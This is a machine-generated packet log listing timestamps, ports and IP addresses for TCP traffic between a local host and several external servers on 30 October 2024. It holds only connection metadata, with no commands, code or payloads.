Oct 30, 2024 00:21:19.873562098 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:19.873568058 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.873584986 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:19.873600960 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:20.581923962 CET	443	59792	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:20.582021952 CET	443	59792	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:20.582076073 CET	59792	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:20.584969044 CET	59792	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:20.585012913 CET	443	59792	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:20.947436094 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:20.947489023 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:20.947567940 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:20.947875023 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:20.947886944 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:21.565218925 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:21.565321922 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:21.569251060 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:21.569262028 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:21.569726944 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:21.571173906 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:21.571309090 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:21.571367025 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:21.571433067 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:21.571439028 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:22.380383015 CET	59789	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:22.380723000 CET	59794	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:22.389394045 CET	80	59789	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:22.389413118 CET	80	59794	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:22.389470100 CET	59789	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:22.389502048 CET	59794	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:22.390100002 CET	59794	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:22.396861076 CET	80	59794	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:22.539525032 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:22.539690971 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:22.539748907 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:22.541384935 CET	59793	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:22.541405916 CET	443	59793	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:23.013020039 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:23.013051033 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:23.013114929 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:23.013475895 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:23.013490915 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:23.093714952 CET	59796	80	192.168.2.5	185.215.113.206
Oct 30, 2024 00:21:23.099148989 CET	80	59796	185.215.113.206	192.168.2.5
Oct 30, 2024 00:21:23.099227905 CET	59796	80	192.168.2.5	185.215.113.206
Oct 30, 2024 00:21:23.099387884 CET	59796	80	192.168.2.5	185.215.113.206
Oct 30, 2024 00:21:23.104752064 CET	80	59796	185.215.113.206	192.168.2.5
Oct 30, 2024 00:21:23.296838045 CET	80	59794	185.215.113.43	192.168.2.5
Oct 30, 2024 00:21:23.296962023 CET	59794	80	192.168.2.5	185.215.113.43
Oct 30, 2024 00:21:23.299877882 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:23.300194979 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:23.305645943 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:23.305768013 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:23.305905104 CET	80	59791	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:23.305932999 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:23.305963993 CET	59791	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:23.311408997 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:23.627187967 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:23.627273083 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:23.628726006 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:23.628739119 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:23.629065037 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:23.630300999 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:23.630510092 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:23.630549908 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:23.630628109 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:23.630637884 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:23.992614031 CET	80	59796	185.215.113.206	192.168.2.5
Oct 30, 2024 00:21:23.992743015 CET	59796	80	192.168.2.5	185.215.113.206
Oct 30, 2024 00:21:23.995523930 CET	59796	80	192.168.2.5	185.215.113.206
Oct 30, 2024 00:21:24.002526999 CET	80	59796	185.215.113.206	192.168.2.5
Oct 30, 2024 00:21:24.235830069 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.235847950 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.235912085 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.235925913 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.235939980 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.236061096 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.236068010 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.236068010 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.236068010 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.236073017 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.236083984 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.236094952 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.236107111 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.236112118 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.236131907 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.236155033 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.243041992 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.243060112 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.243072033 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.243082047 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.243170023 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.266387939 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:24.266580105 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:24.266674042 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:24.266874075 CET	59795	443	192.168.2.5	188.114.97.3
Oct 30, 2024 00:21:24.266895056 CET	443	59795	188.114.97.3	192.168.2.5
Oct 30, 2024 00:21:24.276817083 CET	80	59796	185.215.113.206	192.168.2.5
Oct 30, 2024 00:21:24.276879072 CET	59796	80	192.168.2.5	185.215.113.206
Oct 30, 2024 00:21:24.387953997 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.387978077 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.387990952 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.388001919 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.388015032 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.388026953 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.388062954 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.388367891 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.388483047 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.388529062 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.388530016 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.388542891 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.388566017 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.388577938 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.388587952 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.388597965 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.388636112 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.389436960 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.389447927 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.389460087 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.389489889 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.389506102 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.389513016 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.389523983 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.389560938 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.390439987 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.390453100 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.390463114 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.390496969 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.390500069 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.390511036 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.390522003 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.390546083 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.391364098 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.391449928 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.391500950 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.539664984 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.539710999 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.539735079 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.539772987 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.539804935 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.539813995 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.539849997 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.539870024 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.539901972 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.539905071 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.539937973 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.540164948 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540201902 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.540206909 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540216923 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540256023 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.540334940 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540383101 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.540416002 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540431023 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540441990 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540456057 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.540473938 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.540807962 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540847063 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.540860891 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540873051 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540889025 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540906906 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.540918112 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.540934086 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.540956974 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.541421890 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.541460991 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.541461945 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.541474104 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.541496992 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.541511059 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.541541100 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.541554928 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.541564941 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.541578054 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.541589975 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.541615963 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.542372942 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.542397022 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.542409897 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.542409897 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.542433023 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.542452097 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.542500973 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.542511940 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.542521954 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.542534113 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.542537928 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.542562008 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.542583942 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.543304920 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.543363094 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.543375015 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.543401003 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.543422937 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.543433905 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.543446064 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.543457031 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.543467999 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.543486118 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.543509007 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.544259071 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.544276953 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.544287920 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.544315100 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.544339895 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.544348001 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.544358969 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.544369936 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.544385910 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.544393063 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.544414997 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.544435024 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.545182943 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.545222998 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.545310974 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.545346022 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.691706896 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691746950 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691756964 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691776991 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691786051 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691809893 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691821098 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691829920 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691853046 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691911936 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691922903 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691932917 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.691968918 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.691968918 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.691968918 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.691968918 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692024946 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692035913 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692047119 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692059040 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692074060 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692080975 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692110062 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692145109 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692224026 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692235947 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692255020 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692267895 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692271948 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692284107 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692291021 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692305088 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692317963 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692331076 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692413092 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692423105 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692445993 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692451954 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692459106 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692470074 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692482948 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692485094 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692502022 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692519903 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692666054 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692677975 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692689896 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692702055 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692703009 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692713976 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692714930 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692734003 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692748070 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692790031 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692800045 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692811012 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692825079 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692850113 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692874908 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692887068 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692898035 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692929983 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692940950 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.692960024 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692971945 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692987919 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.692995071 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693003893 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693013906 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693030119 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693041086 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693111897 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693123102 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693135023 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693147898 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693159103 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693178892 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693209887 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693222046 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693233967 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693245888 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693248034 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693257093 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693259954 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693278074 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693300962 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693428040 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693464041 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693536043 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693547964 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693558931 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693571091 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.693572044 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693587065 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.693607092 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.697441101 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697551012 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697561979 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697573900 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697585106 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697597027 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697608948 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697611094 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.697623968 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697638035 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.697649956 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.697659969 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697673082 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697681904 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.697683096 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697695017 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697700977 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.697707891 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697719097 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697721004 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.697731018 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.697746038 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.697766066 CET	59797	80	192.168.2.5	185.215.113.16
Oct 30, 2024 00:21:24.697985888 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.698045015 CET	80	59797	185.215.113.16	192.168.2.5
Oct 30, 2024 00:21:24.698055029 CET	80	59797	185.215.113.16	192.168.2.5
